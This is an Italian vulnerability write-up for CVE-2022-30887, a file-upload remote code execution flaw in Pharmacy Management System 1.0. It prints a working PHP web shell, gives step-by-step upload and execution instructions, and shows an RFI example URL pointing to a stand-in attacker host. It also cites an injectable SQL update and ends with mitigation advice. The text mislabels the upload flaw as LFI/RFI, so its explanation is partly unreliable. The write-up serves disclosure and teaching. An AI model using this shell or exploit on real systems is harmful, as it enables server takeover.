CVE-2022-30887

Pharmacy Management System 1.0 Caricamento Shell

Questa applicazione è stata realizzata da Mayurik Il progetto del sistema di gestione farmaceutica in PHP è stato sviluppato per migliorare l'accuratezza e l'efficienza dei negozi farmaceutici attraverso la sicurezza e la gestione. In breve, è un'applicazione di inventario dei prodotti.

È stato scoperto che Pharmacy Management System v1.0 contiene una vulnerabilità di esecuzione di codice remoto (RCE) tramite il componente "/php_action/editProductImage.php". Questa vulnerabilità consente agli aggressori di eseguire codice arbitrario tramite un file immagine appositamente predisposto.

Cos'è un Attacco di File Inclusion

Le vulnerabilità di File Upload sono di solito una vulnerabilità che permette l'esecuzione di uno script. Funziona quando carichiamo il file sul server e inseriamo un comando sul file caricato. Le vulnerabilità di file upload sono divise in due tipi:

• LFI (Inclusione Locale di File)
• RFI (Inclusione Remota di File)

LFI (Inclusione Locale di File)

Questa vulnerabilità si verifica quando i file locali sul server includono il file recuperato dall'utente. I valori ricevuti dall'utente devono essere sterilizzati.

Esempio di LFI (Inclusione Locale di File) ;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI (Inclusione Remota di File)

Questa vulnerabilità funziona quando l'aggressore carica malware da un server remoto.

Esempio di RFI (Inclusione Remota di File) ;

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Spiegazione dell'exploit, PoC

• Prima, dopo la pagina di login, verremo reindirizzati a "dashboar.php"
• In secondo luogo, per andare alla pagina in cui è stata trovata la vulnerabilità, clicca su medicine nel menu, dopo aver cliccato su gestisci medicine verrai reindirizzato a "product.php" e clicca su modifica immagine sotto la scheda azioni

• Nella pagina "editproduct.php", clicca sul pulsante seleziona foto e carica il tuo script shell.

Esempio di script shell php;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• Clicca sul pulsante salva e cattura la richiesta con burp suite

Richiesta;

Risposta;

• Il file viene scaricato nella cartella "/assets/myimage/"
• Effettua una richiesta per eseguire il tuo script nell'URL che è /assets/myimage/shell.php?s=echo+%22MuallimNaci%22

Richiesta;

Risposta;

• E BOOM

Inoltre, questa vulnerabilità è ancora attiva nell'applicazione.

Mitigazione

• assicurati di accettare solo caratteri come "a-Z0-9" e di non consentire ".." o "/" o "%00" (byte nullo)
• Assicurati che il "flag allow_url_include" sia disattivato
• Secondo la Remediation OWASP 10: "L'applicazione può mantenere una whitelist di file, che possono essere inclusi dalla pagina, e quindi usare un identificatore (ad esempio il numero indice) per accedere al file selezionato. Qualsiasi richiesta contenente un identificatore non valido deve essere respinta, in questo modo non c'è superficie di attacco per utenti malintenzionati per manipolare il percorso"

Extra

Nella stessa pagina, "editproduct.php", ho trovato una XSS persistente

• Il codice che include la vulnerabilità è;

$sql = "UPDATE product SET product_name = '$productName'

In questo blocco di codice puoi uscire dal contesto con le virgolette doppie (")

Richiesta;

Risposta;

Conclusione

Spero di essere riuscito a spiegare come funziona la vulnerabilità di file inclusion, quali situazioni la innescano e come prevenire questo attacco da parte degli aggressori. Grazie per il vostro prezioso tempo.